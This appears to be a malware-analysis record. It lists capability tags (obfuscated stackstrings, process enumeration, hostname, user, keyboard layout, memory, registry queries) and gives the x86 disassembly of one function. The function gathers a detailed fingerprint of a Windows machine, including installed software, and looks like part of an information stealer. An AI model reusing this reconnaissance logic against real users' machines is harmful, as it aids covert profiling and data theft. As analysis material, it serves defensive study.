Function at 0x40da30
Capabilities:
Contain obfuscated stackstrings
Enumerate processes
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x50390b
push eax
mov dword fs:[0], esp
mov eax, 0x1f08
push ebx
call fcn.004dde10
push esi
push edi
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x142]
movaps xmm0, xmmword [0x525a40]
movups xmmword [ebp - 0x142], xmm0
mov word [ebp - 0x132], 0x100
call fcn.00462f00
lea eax, [ebp - 0x142]
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0x1c8]
call fcn.00469b50
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x1004a50
call fcn.00463110
lea ecx, [ebp - 0x1c8]
call fcn.004027a0
lea ecx, [ebp - 0x7c]
push ecx
push eax
call fcn.004e2f00
mov edi, eax
add esp, 8
mov dword [ebp - 0x8c], edi
test edi, edi
je 0x40ed2e
call fcn.0040bd30
test eax, eax
mov dword [ebp - 0x1d], 0x46405d65
mov edx, 0x20119
mov dword [ebp - 0x19], 0xb0d164f
setne byte [ebp - 0x2e]
mov dword [ebp - 0x15], 0x3b3d5c
test eax, eax
mov byte [ebp - 0x11], 1
mov ecx, 0x20019
mov esi, 0x533bd4
cmovne ecx, edx
cmp dword [0x533be8], 0x10
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x1d]
cmovae esi, dword [0x533bd4]
call fcn.00462f30
push esi
lea eax, [ebp - 0x1d]
push eax
push edi
call fcn.00402be0
movaps xmm0, xmmword [str.qM_YBCC]
lea ecx, [ebp - 0x45]
add esp, 0xc
mov byte [ebp - 0x35], 1
cmp dword [0x536144], 0x10
mov esi, 0x536130
movups xmmword [ebp - 0x45], xmm0
cmovae esi, dword [0x536130]
call fcn.00462ed0
push esi
lea eax, [ebp - 0x45]
push eax
push edi
call fcn.00402be0
add esp, 0xc
push 0
call fcn.004eb04b
add esp, 4
mov dword [ebp - 0x100], eax
lea eax, [ebp - 0x100]
mov dword [ebp - 0xfc], edx
push eax
call fcn.004eb533
add esp, 4
mov dword [ebp - 0x1a], 0x4f5d4963
lea ecx, [ebp - 0x1a]
mov dword [ebp - 0x16], 0x5d080c11
mov esi, eax
mov word [ebp - 0x12], 0x100
call fcn.00462ea0
push esi
lea eax, [ebp - 0x1a]
push eax
push edi
call fcn.00402be0
add esp, 0xc
mov dword [ebp - 0x19], 0x44424672
lea ecx, [ebp - 0x19]
mov dword [ebp - 0x15], 0x435b44
mov byte [ebp - 0x11], 1
call fcn.00462f60
lea eax, [ebp - 0x19]
push eax
lea ecx, [ebp - 0x118]
call fcn.00402700
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xe0]
movaps xmm0, xmmword [0x5263f0]
movups xmmword [ebp - 0xe0], xmm0
mov dword [ebp - 0x90], 0
movaps xmm0, xmmword [str.QLeyIEMJP33__]
movups xmmword [ebp - 0xd0], xmm0
mov byte [ebp - 0xc0], 1
call fcn.00463180
lea eax, [ebp - 0x90]
push eax
push dword [ebp - 0x34]
push 0
lea eax, [ebp - 0xe0]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40dcdc
lea ecx, [ebp - 0x2a]
mov dword [ebp - 0x78], 0x20019
mov dword [ebp - 0x6c], 0x400
mov dword [ebp - 0x2a], 0x424a496a
mov dword [ebp - 0x26], 0x69484242
mov dword [ebp - 0x22], 0x55595a
mov byte [ebp - 0x1e], 1
call fcn.00462f30
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0xa00]
push eax
lea eax, [ebp - 0x78]
push eax
push 0
lea eax, [ebp - 0x2a]
push eax
push dword [ebp - 0x90]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40dcd0
lea ecx, [ebp - 0xa00]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40dcb4
sub ecx, edx
lea eax, [ebp - 0xa00]
push ecx
push eax
lea ecx, [ebp - 0x118]
call fcn.004659f0
push dword [ebp - 0x90]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x104], 0x10
lea esi, [ebp - 0x118]
movaps xmm0, xmmword [str.jIJBBBHgk_n]
lea ecx, [ebp - 0x45]
cmovae esi, dword [ebp - 0x118]
movups xmmword [ebp - 0x45], xmm0
mov byte [ebp - 0x35], 1
call fcn.00462ed0
push esi
lea eax, [ebp - 0x45]
push eax
push edi
call fcn.00402be0
add esp, 0xc
mov dword [ebp - 0x6e], 0x44424672
lea ecx, [ebp - 0x6e]
mov dword [ebp - 0x6a], 0x435b44
mov byte [ebp - 0x66], 1
call fcn.00462f60
lea eax, [ebp - 0x6e]
push eax
lea ecx, [ebp - 0x130]
call fcn.00402700
push 0x7c
lea eax, [ebp - 0x428]
mov byte [ebp - 4], 6
push 0
push eax
call fcn.004df090
add esp, 0xc
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x40dd8c
lea ecx, [ebp - 0x424]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40dd70
sub ecx, edx
lea eax, [ebp - 0x424]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.004659f0
cmp dword [ebp - 0x11c], 0x10
lea esi, [ebp - 0x130]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x6e607d60
cmovae esi, dword [ebp - 0x130]
mov dword [ebp - 0x18], 0x5d080c11
mov dword [ebp - 0x14], 0x1003a22
call fcn.00462e70
push esi
lea eax, [ebp - 0x1c]
push eax
push edi
call fcn.00402be0
add esp, 0xc
lea ecx, [ebp - 0xd8]
call fcn.0040cc80
mov dword [ebp - 0x74], eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x7f]
mov word [ebp - 0x7f], 0x78
mov byte [ebp - 0x7d], 1
call fcn.00463140
lea ecx, [ebp - 0x294]
call fcn.0040cc10
mov esi, eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x83]
mov word [ebp - 0x83], 0x78
mov byte [ebp - 0x81], 1
call fcn.00463140
lea ecx, [ebp - 0x77]
mov word [ebp - 0x77], 0x78
mov byte [ebp - 0x75], 1
call fcn.00463140
lea eax, [ebp - 0x77]
push eax
lea edx, [ebp - 0x118]
lea ecx, [ebp - 0x27c]
call fcn.00469b50
add esp, 4
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 9
push ecx
mov edx, eax
lea ecx, [ebp - 0x264]
call fcn.00469d70
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x83]
mov byte [ebp - 4], 0xa
lea eax, [ecx + 1]
mov dword [ebp - 0x6c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40de72
sub ecx, dword [ebp - 0x6c]
lea eax, [ebp - 0x83]
push ecx
push eax
mov ecx, edx
call fcn.00468730
push eax
lea ecx, [ebp - 0x18c]
call fcn.004026b0
push esi
lea eax, [ebp - 0x18c]
mov byte [ebp - 4], 0xb
push eax
push dword [ebp - 0x88]
lea ecx, [ebp - 0x24c]
call fcn.0046d660
lea ecx, [ebp - 0x7f]
mov byte [ebp - 4], 0xc
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40dec0
sub ecx, edx
lea eax, [ebp - 0x7f]
push ecx
push eax
lea ecx, [ebp - 0x24c]
call fcn.00468730
push eax
lea ecx, [ebp - 0x234]
call fcn.004026b0
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x234]
push dword [ebp - 0x74]
lea ecx, [ebp - 0x15c]
push eax
push dword [ebp - 0x88]
call fcn.0046d660
lea ecx, [ebp - 0x234]
call fcn.00402660
lea ecx, [ebp - 0x24c]
call fcn.00402660
lea ecx, [ebp - 0x18c]
call fcn.00402660
lea ecx, [ebp - 0x264]
call fcn.00402660
lea ecx, [ebp - 0x27c]
call fcn.00402660
lea ecx, [ebp - 0x294]
call fcn.00402660
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x15
call fcn.00402660
xorps xmm0, xmm0
mov byte [ebp - 0x190], 0
lea ecx, [ebp - 0x3a8]
movups xmmword [ebp - 0x1b0], xmm0
movups xmmword [ebp - 0x1a0], xmm0
call fcn.00480f90
cmp dword [ebp - 0x148], 0x10
lea eax, [ebp - 0x15c]
push dword [ebp - 0x14c]
cmovae eax, dword [ebp - 0x15c]
lea ecx, [ebp - 0x3a8]
push eax
call fcn.00480d90
push 0
lea ecx, [ebp - 0x3a8]
call fcn.00480e60
cmp byte [ebp - 0x30c], 0
je 0x40dfdc
movups xmm0, xmmword [ebp - 0x2fb]
mov al, byte [ebp - 0x2db]
mov byte [ebp - 0x190], al
movups xmmword [ebp - 0x1b0], xmm0
movups xmm0, xmmword [ebp - 0x2eb]
movups xmmword [ebp - 0x1a0], xmm0
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x6e607f6f
mov dword [ebp - 0x18], 0x5d080c11
mov dword [ebp - 0x14], 0x1003a22
call fcn.00462e70
lea eax, [ebp - 0x1b0]
push eax
lea eax, [ebp - 0x1c]
push eax
push edi
call fcn.00402be0
add esp, 0xc
lea eax, [ebp - 0xb08]
push 0x104
push 0
push eax
call fcn.004df090
add esp, 0xc
mov dword [ebp - 0x6c], 0
lea eax, [ebp - 0x6c]
push eax
push 0x40ca50
push 4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0x104
lea eax, [ebp - 0xb08]
push eax
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x2b]
mov dword [ebp - 0x2b], 0x4b79222a
mov dword [ebp - 0x27], 0xe17445f
mov dword [ebp - 0x23], 0x383c430a
mov word [ebp - 0x1f], 0x100
call fcn.00462e40
lea eax, [ebp - 0xb08]
push eax
lea eax, [ebp - 0x2b]
push eax
push edi
call fcn.00402be0
movaps xmm0, xmmword [0x5259a0]
lea esi, [ebx + 8]
add esp, 0xc
mov word [ebp - 0x36], 0x100
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebp - 0x46]
movups xmmword [ebp - 0x46], xmm0
cmovae esi, dword [ebx + 8]
call fcn.00462f00
push esi
lea eax, [ebp - 0x46]
push eax
push edi
call fcn.00402be0
add esp, 0xc
cmp dword [ebx + 0x60], 0
je 0x40e0cc
cmp dword [ebx + 0x64], 0x10
lea esi, [ebx + 0x50]
cmovae esi, dword [ebx + 0x50]
jmp 0x40e0d1
mov esi, 0x520b00
lea ecx, [ebp - 0x1a]
mov dword [ebp - 0x1a], 0xa13786e
mov dword [ebp - 0x16], 0x24205f0e
mov word [ebp - 0x12], 0x100
call fcn.00462ea0
push esi
lea eax, [ebp - 0x1a]
push eax
push edi
call fcn.00402be0
add esp, 0xc
cmp dword [ebx + 0x48], 0
je 0x40e10e
cmp dword [ebx + 0x4c], 0x10
lea esi, [ebx + 0x38]
cmovae esi, dword [ebx + 0x38]
jmp 0x40e113
mov esi, 0x520b00
cmp dword [ebx + 0x30], 0
je 0x40e129
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
cmovae eax, dword [ebx + 0x20]
mov dword [ebp - 0x6c], eax
jmp 0x40e130
mov dword [ebp - 0x6c], 0x520b00
movaps xmm0, xmmword [0x525c00]
lea ecx, [ebp - 0x48]
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0x100323a
call fcn.00462e10
push esi
push dword [ebp - 0x6c]
lea eax, [ebp - 0x48]
push eax
push edi
call fcn.00402be0
movaps xmm0, xmmword [0x5263f0]
lea ecx, [ebp - 0x62]
add esp, 0x10
mov dword [ebp - 0x9c], 0
movups xmmword [ebp - 0x62], xmm0
mov dword [ebp - 0x42], 0x242c3a35
movaps xmm0, xmmword [0x525830]
movups xmmword [ebp - 0x52], xmm0
mov dword [ebp - 0x3e], 0x3c281a3f
mov dword [ebp - 0x3a], 0x3c3e393c
mov word [ebp - 0x36], 0x100
call fcn.00462de0
lea eax, [ebp - 0x9c]
push eax
push dword [ebp - 0x34]
lea eax, [ebp - 0x62]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e27a
lea ecx, [ebp - 0x2a]
mov dword [ebp - 0x34], 0x20019
mov dword [ebp - 0x74], 0x400
mov dword [ebp - 0x2a], 0x4e465a77
mov dword [ebp - 0x26], 0x60594f5e
mov dword [ebp - 0x22], 0x545d4e
mov byte [ebp - 0x1e], 1
call fcn.00462f30
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0xa00]
push eax
lea eax, [ebp - 0x34]
push eax
push 0
lea eax, [ebp - 0x2a]
push eax
push dword [ebp - 0x9c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e26e
cmp byte [ebp - 0x2e], al
je 0x40e22a
mov dword [ebp - 0x6a], 0x1d1e5f
lea esi, [ebp - 0x6a]
mov byte [ebp - 0x66], 1
jmp 0x40e238
mov dword [ebp - 0x15], 0x1b1b5f
lea esi, [ebp - 0x15]
mov byte [ebp - 0x11], 1
mov ecx, esi
call fcn.004631e0
movaps xmm0, xmmword [0x5268f0]
lea ecx, [ebp - 0x48]
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0x100323a
call fcn.00462e10
push esi
lea eax, [ebp - 0xa00]
push eax
lea eax, [ebp - 0x48]
push eax
push edi
call fcn.00402be0
add esp, 0x10
push dword [ebp - 0x9c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0xc10]
push 0
push eax
call fcn.004df090
add esp, 0xc
mov dword [ebp - 0xac], 0x104
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0xc10]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
movaps xmm0, xmmword [str.dGDZXH_]
lea ecx, [ebp - 0x49]
movups xmmword [ebp - 0x49], xmm0
mov dword [ebp - 0x39], 0x333544
mov byte [ebp - 0x35], 1
call fcn.00462db0
lea eax, [ebp - 0xc10]
push eax
lea eax, [ebp - 0x49]
push eax
push edi
call fcn.00402be0
add esp, 0xc
lea eax, [ebp - 0xd18]
push 0x104
push 0
push eax
call fcn.004df090
add esp, 0xc
mov dword [ebp - 0x88], 0x104
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0xd18]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [str.r_LX_vbLCJ_n]
lea ecx, [ebp - 0x45]
movups xmmword [ebp - 0x45], xmm0
mov byte [ebp - 0x35], 1
call fcn.00462ed0
lea eax, [ebp - 0xd18]
push eax
lea eax, [ebp - 0x45]
push eax
push edi
call fcn.00402be0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x1d8]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
movaps xmm0, xmmword [0x5266e0]
lea ecx, [ebp - 0x51]
movups xmmword [ebp - 0x51], xmm0
mov dword [ebp - 0x41], 0x1a035658
mov dword [ebp - 0x3d], 0x1b45581e
mov dword [ebp - 0x39], 0x4b4d5b
mov byte [ebp - 0x35], 1
call fcn.00462d80
push dword [ebp - 0x1cc]
lea eax, [ebp - 0x51]
push dword [ebp - 0x1d0]
push eax
push edi
call fcn.00402be0
push 0x400
lea eax, [ebp - 0x1318]
push 0
push eax
call fcn.004df090
add esp, 0x1c
lea eax, [ebp - 0x1318]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
movaps xmm0, xmmword [0x525f90]
test eax, eax
mov byte [ebp - 0x35], 1
je 0x40e3fc
lea ecx, [ebp - 0x4d]
mov dword [ebp - 0x3d], 0x4d1c180d
movups xmmword [ebp - 0x4d], xmm0
mov dword [ebp - 0x39], 0x373148
call fcn.00462d50
lea eax, [ebp - 0x1318]
push eax
lea eax, [ebp - 0x4d]
push eax
push edi
call fcn.00402be0
add esp, 0xc
jmp 0x40e42a
lea ecx, [ebp - 0x51]
mov dword [ebp - 0x41], 0x546c180d
movups xmmword [ebp - 0x51], xmm0
mov dword [ebp - 0x3d], 0x49525250
mov dword [ebp - 0x39], 0x4b4d51
call fcn.00462d80
lea eax, [ebp - 0x51]
push eax
push edi
call fcn.00402be0
add esp, 8
movaps xmm0, xmmword [0x525de0]
lea ecx, [ebp - 0x4a]
movups xmmword [ebp - 0x4a], xmm0
mov dword [ebp - 0x3a], 0x1a034b52
mov word [ebp - 0x36], 0x100
call fcn.00462d20
lea eax, [ebp - 0x4a]
push eax
push edi
call fcn.00402be0
push 0x200
lea eax, [ebp - 0xf18]
push 0
push eax
call fcn.004df090
mov esi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
add esp, 0x14
push 0
push 0
call esi
mov dword [ebp - 0x74], eax
lea ecx, [eax*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x34], eax
test eax, eax
je 0x40e534
push eax
push dword [ebp - 0x74]
call esi
xor esi, esi
mov dword [ebp - 0x74], eax
test eax, eax
je 0x40e52b
nop word [eax + eax]
push 0x200
lea eax, [ebp - 0xf18]
push eax
mov eax, dword [ebp - 0x34]
push 2
movzx eax, word [eax + esi*4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test esi, esi
jne 0x40e4e2
lea eax, [ebp - 0xf18]
push eax
push edi
call fcn.00402be0
add esp, 8
jmp 0x40e50f
lea ecx, [ebp - 0x17]
mov dword [ebp - 0x17], 0xf090707
mov word [ebp - 0x13], 0x58
mov byte [ebp - 0x11], 1
call fcn.004631b0
lea eax, [ebp - 0xf18]
push eax
lea eax, [ebp - 0x17]
push eax
push edi
call fcn.00402be0
add esp, 0xc
push 0x200
lea eax, [ebp - 0xf18]
push 0
push eax
call fcn.004df090
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0x74]
jb 0x40e4b0
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0xbc]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0xbc], xmm0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movaps xmm0, xmmword [0x525e10]
lea ecx, [ebp - 0x57]
movups xmmword [ebp - 0x57], xmm0
mov word [ebp - 0x37], 0x4d
movaps xmm0, xmmword [0x525d10]
movups xmmword [ebp - 0x47], xmm0
mov byte [ebp - 0x35], 1
call fcn.00462cf0
movzx eax, word [ebp - 0xb0]
push eax
movzx eax, word [ebp - 0xb2]
push eax
movzx eax, word [ebp - 0xb4]
push eax
movzx eax, word [ebp - 0xbc]
push eax
movzx eax, word [ebp - 0xba]
push eax
movzx eax, word [ebp - 0xb6]
push eax
lea eax, [ebp - 0x57]
push eax
push edi
call fcn.00402be0
add esp, 0x20
lea eax, [ebp - 0x1e8]
xorps xmm0, xmm0
movups xmmword [ebp - 0x1e8], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xac
lea eax, [ebp - 0x4d8]
push 0
push eax
call fcn.004df090
add esp, 0xc
lea eax, [ebp - 0x4d8]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea eax, [ebp - 0x21c]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x1e8]
push eax
lea eax, [ebp - 0x4d8]
push eax
movups xmmword [ebp - 0x21c], xmm0
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
movd xmm0, dword [ebp - 0x4d8]
lea ecx, [ebp - 0x47]
cvtdq2ps xmm0, xmm0
mov word [ebp - 0x37], 0x3d
mov byte [ebp - 0x35], 1
divss xmm0, dword [0x524c20]
xorps xmm0, xmmword [0x526a70]
movss dword [ebp - 0x74], xmm0
movaps xmm0, xmmword [0x525980]
movups xmmword [ebp - 0x47], xmm0
call fcn.00463020
cvttss2si eax, dword [ebp - 0x74]
push eax
lea eax, [ebp - 0x47]
push eax
push edi
call fcn.00402be0
add esp, 0xc
mov dword [ebp - 0x2d], 0x6272222a
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x29], 0x59495e4a
mov dword [ebp - 0x25], 0x6f54424e
mov dword [ebp - 0x21], 0x1003e3e
call fcn.00462cc0
lea eax, [ebp - 0x2d]
push eax
push edi
call fcn.00402be0
movaps xmm0, xmmword [0x526860]
lea ecx, [ebp - 0x64]
add esp, 8
mov dword [ebp - 0x94], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x44], 0x1a252935
movaps xmm0, xmmword [0x525800]
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0x2b2e2339
mov dword [ebp - 0x3c], 0x203e233c
mov dword [ebp - 0x38], 0x100640f
call fcn.00463150
lea eax, [ebp - 0x94]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x64]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e780
movaps xmm0, xmmword [0x525b60]
lea ecx, [ebp - 0x49]
mov dword [ebp - 0x34], 0x20019
mov dword [ebp - 0x74], 0x400
movups xmmword [ebp - 0x49], xmm0
mov dword [ebp - 0x39], 0x5e565e
mov byte [ebp - 0x35], 1
call fcn.00462db0
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0xa00]
push eax
lea eax, [ebp - 0x34]
push eax
push 0
lea eax, [ebp - 0x49]
push eax
push dword [ebp - 0x94]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e774
movaps xmm0, xmmword [str.wZFIN_A__n]
lea ecx, [ebp - 0x45]
movups xmmword [ebp - 0x45], xmm0
mov byte [ebp - 0x35], 1
call fcn.00462ed0
lea eax, [ebp - 0xa00]
push eax
lea eax, [ebp - 0x45]
push eax
push edi
call fcn.00402be0
add esp, 0xc
push dword [ebp - 0x94]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov dword [ebp - 0x1ec], 0
lea eax, [ebp - 0x20c]
push eax
movups xmmword [ebp - 0x20c], xmm0
movups xmmword [ebp - 0x1fc], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movaps xmm0, xmmword [str.dx_nhCX___n]
lea ecx, [ebp - 0x45]
movups xmmword [ebp - 0x45], xmm0
mov byte [ebp - 0x35], 1
call fcn.00462ed0
push dword [ebp - 0x1f8]
lea eax, [ebp - 0x45]
push eax
push edi
call fcn.00402be0
add esp, 0xc
mov dword [ebp - 0x2d8], 0x40
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x40e832
lea ecx, [ebp - 0x2b]
mov dword [ebp - 0x2b], 0x10646975
mov dword [ebp - 0x27], 0xe58090b
mov dword [ebp - 0x23], 0x383c7262
mov word [ebp - 0x1f], 0x100
call fcn.00462e40
mov ecx, dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x2cc]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea eax, [ebp - 0x2b]
push eax
push edi
call fcn.00402be0
add esp, 0x10
lea ecx, [ebp - 0xa8]
call fcn.0046d380
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x16
call fcn.00464a90
push 0x1a4
lea eax, [ebp - 0x7a4]
mov dword [ebp - 0x34], 0
push 0
push eax
mov dword [ebp - 0x7a8], 0x1a8
call fcn.004df090
add esp, 0xc
lea eax, [ebp - 0x7a8]
push 1
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x40e9f3
nop
mov esi, dword [ebp - 0xa4]
mov eax, 0x2aaaaaab
mov ecx, esi
xor edi, edi
sub ecx, dword [ebp - 0xa8]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x40e923
xor esi, esi
nop word [eax + eax]
lea eax, [ebp - 0x784]
push eax
lea ecx, [ebp - 0xd8]
call fcn.00402700
mov ecx, dword [ebp - 0xa8]
add ecx, esi
push eax
call fcn.0046d630
lea ecx, [ebp - 0xd8]
mov byte [ebp - 0x2e], al
call fcn.00402660
cmp byte [ebp - 0x2e], 0
jne 0x40e9ac
mov ecx, dword [ebp - 0xa4]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xa8]
inc edi
imul ecx
add esi, 0x18
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x40e8c0
mov esi, dword [ebp - 0xa4]
sub esi, dword [ebp - 0xa8]
lea ecx, [ebp - 0x49]
movaps xmm0, xmmword [str.qAMODoLK]
mov eax, 0x2aaaaaab
imul esi
movups xmmword [ebp - 0x49], xmm0
mov dword [ebp - 0x39], 0x333544
sar edx, 2
mov esi, edx
mov byte [ebp - 0x35], 1
shr esi, 0x1f
add esi, edx
call fcn.00462db0
mov edi, dword [ebp - 0x8c]
lea eax, [ebp - 0x784]
push eax
push esi
lea eax, [ebp - 0x49]
push eax
push edi
call fcn.00402be0
add esp, 0x10
lea eax, [ebp - 0x784]
lea ecx, [ebp - 0x18c]
push eax
call fcn.00402700
lea eax, [ebp - 0x18c]
mov byte [ebp - 4], 0x17
push eax
lea ecx, [ebp - 0xa8]
call fcn.0046b1e0
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0x16
call fcn.00402660
jmp 0x40e9b2
mov edi, dword [ebp - 0x8c]
mov esi, dword [ebp - 0x34]
lea eax, [ebp - 0x7a4]
push 0x1a4
push 0
inc esi
mov dword [ebp - 0x7a8], 0x1a8
push eax
mov dword [ebp - 0x34], esi
call fcn.004df090
add esp, 0xc
lea eax, [ebp - 0x7a8]
push 1
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
jne 0x40e890
movaps xmm0, xmmword [str._rzYCNKCTAn9_]
lea ecx, [ebp - 0x45]
movups xmmword [ebp - 0x45], xmm0
mov byte [ebp - 0x35], 1
call fcn.00462ed0
lea eax, [ebp - 0x45]
push eax
push edi
call fcn.00402be0
add esp, 8
mov dword [ebp - 0x600], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40eab3
lea eax, [ebp - 0x600]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40eaac
lea eax, [ebp - 0x600]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x40eaac
nop dword [eax]
lea ecx, [ebp - 0x1b]
mov dword [ebp - 0x1b], 0x71095b02
mov dword [ebp - 0x17], 0x2370480e
mov word [ebp - 0x13], 0x25
mov byte [ebp - 0x11], 1
call fcn.004630e0
push dword [ebp - 0x5f8]
lea eax, [ebp - 0x5dc]
push eax
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402be0
add esp, 0x10
lea eax, [ebp - 0x600]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x40ea60
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x2d], 0x7972222a
mov dword [ebp - 0x29], 0x59594a44
mov dword [ebp - 0x25], 0x6f54424e
mov dword [ebp - 0x21], 0x1003e3e
call fcn.00462cc0
lea eax, [ebp - 0x2d]
push eax
push edi
call fcn.00402be0
movaps xmm0, xmmword [0x5263f0]
lea ecx, [ebp - 0xf4]
movups xmmword [ebp - 0xf4], xmm0
add esp, 8
mov dword [ebp - 0xc4], 0x353436
movaps xmm0, xmmword [0x525320]
movups xmmword [ebp - 0xe4], xmm0
mov byte [ebp - 0xc0], 1
movaps xmm0, xmmword [0x525280]
movups xmmword [ebp - 0xd4], xmm0
call fcn.00462c90
lea eax, [ebp - 0x98]
mov dword [ebp - 0x98], 0
push eax
push 0x20019
push 0
lea eax, [ebp - 0xf4]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40ecf5
xor esi, esi
nop
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x78], 0x400
push eax
lea eax, [ebp - 0xa00]
push eax
push esi
push dword [ebp - 0x98]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x34], eax
test eax, eax
jne 0x40ece0
lea ecx, [ebp - 0x17]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x17], 0xf755b02
mov word [ebp - 0x13], 0x58
mov byte [ebp - 0x11], 1
call fcn.004631b0
lea eax, [ebp - 0xa00]
push eax
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x17]
push eax
lea eax, [ebp - 0x1718]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x80]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x1718]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40ecdd
lea ecx, [ebp - 0x2a]
mov dword [ebp - 0x8c], 0xf003f
mov dword [ebp - 0x78], 0x400
mov dword [ebp - 0x2a], 0x5a5a4163
